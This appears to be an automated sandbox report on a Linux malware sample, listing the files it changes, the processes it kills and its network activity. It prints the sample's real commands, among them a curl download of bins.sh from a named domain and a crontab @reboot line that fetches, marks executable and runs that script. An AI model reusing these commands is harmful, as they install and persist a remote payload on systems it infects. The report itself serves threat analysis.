Technical Information
To ensure autorun and distribution:
Creates or modifies the following files:
- /var/spool/cron/crontabs/root
Malicious functions:
Launches itself as a daemon
Substitutes application name for:
- ejm7mla6qbad
Launches processes:
- sh bins.sh
- grep -q /home/guest/. /proc/724/mips*
- grep -q /home/guest/. /proc/20/mips*
- grep -q /home/guest/. /proc/21/mips*
- grep -q /home/guest/. /proc/46/mips*
- grep -q /home/guest/. /proc/52/mips*
- grep -q /home/guest/. /proc/390/mips*
- grep -q /home/guest/. /proc/107/mips*
- grep -q /home/guest/. /proc/108/mips*
- grep -q /home/guest/. /proc/703/mips*
- grep -q /home/guest/. /proc/245/mips*
- grep -q /home/guest/. /proc/199/mips*
- grep -q /home/guest/. /proc/25/mips*
- grep -q /home/guest/. /proc/12/mips*
- grep -q /home/guest/. /proc/578/mips*
- grep -q /home/guest/. /proc/11/mips*
- grep -q /home/guest/. /proc/665/mips*
- grep -q /home/guest/. /proc/711/mips*
- grep -q /home/guest/. /proc/719/mips*
- grep -q /home/guest/. /proc/110/mips*
- grep -q /home/guest/. /proc/722/mips*
- grep -q /home/guest/. /proc/252/mips*
- grep -q /home/guest/. /proc/43/mips*
- grep -q /home/guest/. /proc/391/mips*
- grep -q /home/guest/. /proc/44/mips*
- grep -q /home/guest/. /proc/64/mips*
- grep -E ^[0-9]+$
- grep -q /home/guest/. /proc/109/mips*
- grep -q /home/guest/. /proc/389/mips*
- grep -q /home/guest/. /proc/105/mips*
- grep -q /home/guest/. /proc/53/mips*
- /bin/curl -k -L --output bins.sh http://rebirthltd.com/bins.sh
- grep -q /home/guest/. /proc/246/mips*
- grep -q /home/guest/. /proc/253/mips*
- crontab -l
- grep -q /home/guest/. /proc/17/mips*
- grep -q /home/guest/. /proc/714/mips*
- grep -q /home/guest/. /proc/6/mips*
- grep -q /home/guest/. /proc/5/mips*
- (crontab -l ; echo \x22@reboot /bin/bash -c \x22/bin/wget http://rebirthltd.com/bins.sh; chmod +x bins.sh; sh bins.sh; /bin/curl -k -L --output bins.sh http://rebirthltd.com/bins.sh; chmod +x bins.sh; sh bins.sh\x22\x22) | crontab -
- grep -q /home/guest/. /proc/1/mips*
- grep -q /home/guest/. /proc/250/mips*
- grep -q /home/guest/. /proc/15/mips*
- grep -q /home/guest/. /proc/106/mips*
- grep -q /home/guest/. /proc/7/mips*
- grep -q /home/guest/. /proc/694/mips*
- grep -q /home/guest/. /proc/190/mips*
- grep -q /home/guest/. /proc/628/mips*
- grep -q /home/guest/. /proc/679/mips*
- grep -q /home/guest/. /proc/707/mips*
- grep -q /home/guest/. /proc/47/mips*
- grep -q /home/guest/. /proc/13/mips*
- grep -q /home/guest/. /proc/48/mips*
- ls /proc
- grep -q /home/guest/. /proc/723/mips*
- grep -q /home/guest/. /proc/696/mips*
- grep -q /home/guest/. /proc/577/mips*
- grep -q /home/guest/. /proc/3/mips*
- grep -q /home/guest/. /proc/718/mips*
- grep -q /home/guest/. /proc/66/mips*
- chmod +x bins.sh
- grep -q /home/guest/. /proc/14/mips*
- grep -q /home/guest/. /proc/65/mips*
- grep -q /home/guest/. /proc/45/mips*
- grep -q /home/guest/. /proc/184/mips*
- crontab -
- grep -q /home/guest/. /proc/4/mips*
- grep -q /home/guest/. /proc/232/mips*
- grep -q /home/guest/. /proc/141/mips*
- grep -q /home/guest/. /proc/22/mips*
- grep -q /home/guest/. /proc/50/mips*
- grep -q /home/guest/. /proc/18/mips*
- grep -q /home/guest/. /proc/19/mips*
- grep -q /home/guest/. /proc/400/mips*
- grep -q /home/guest/. /proc/24/mips*
- grep -q /home/guest/. /proc/142/mips*
- grep -q /home/guest/. /proc/249/mips*
- grep -q /home/guest/. /proc/609/mips*
- grep -q /home/guest/. /proc/2/mips*
- grep -q /home/guest/. /proc/392/mips*
- grep -q /home/guest/. /proc/725/mips*
- grep -q /home/guest/. /proc/10/mips*
- grep -q /home/guest/. /proc/51/mips*
- grep -q /home/guest/. /proc/23/mips*
- grep -q /home/guest/. /proc/572/mips*
- grep -q /home/guest/. /proc/54/mips*
Kills system processes:
- sshd
Kills the following processes:
- systemd
- rcu_tasks_trace
- ata_sff
- scsi_eh_0
- scsi_tmf_0
- scsi_eh_1
- scsi_tmf_1
- ksoftirqd/0
- kworker/u2:2
- rcu_sched
- migration/0
- kworker/0:1
- jbd2/sda1-8
- ext4-rsv-conver
- cpuhp/0
- kdevtmpfs
- netns
- systemd-journal
- kauditd
- kworker/u2:3
- systemd-udevd
- kthreadd
- khungtaskd
- oom_reaper
- writeback
- kcompactd0
- systemd-timesyn
- ksmd
- kworker/0:3
- ttm_swap
- cron
- khugepaged
- dbus-daemon
- rsyslogd
- systemd-logind
- rcu_gp
- containerd
- agetty
- rcu_par_gp
- dockerd
- kintegrityd
- kblockd
- blkcg_punt_bio
- edac-poller
- devfreq_wq
- kworker/0:1H
- kworker/0:0
- kworker/0:2
- kswapd0
- kthrotld
- acpi_thermal_pm
- ipv6_addrconf
- kworker/0:4
- (sd-pam)
- kworker/0:0H
- dhclient
- kstrp
- zswap-shrink
- kworker/u3:0
- run.sh
- logrotate
- 9bc2fd2a
- kworker/u2:0
- mandb
- tmux: client
- bash
- sleep
- stub.sh
- tee
- ejm7mla6qbad
- dash
Performs operations with the file system:
Modifies file access rights:
- /bins.sh
- /var/spool/cron/crontabs/tmp.Upvpm7
Creates or modifies files:
- /dev/full
- /var/spool/cron/crontabs/tmp.Upvpm7
- /bins.sh
Changes time of creation/access/modification of files:
- /var/spool/cron/crontabs
Network activity:
Awaits incoming connections on ports:
- 127.0.0.1:8345
Establishes connection:
- 8.#.8.8:53
- 19#.##9.175.43:80
DNS ASK:
- re###thltd.com
Sends data to the following servers:
- 19#.##9.175.43:80
Receives data from the following servers:
- 19#.##9.175.43:80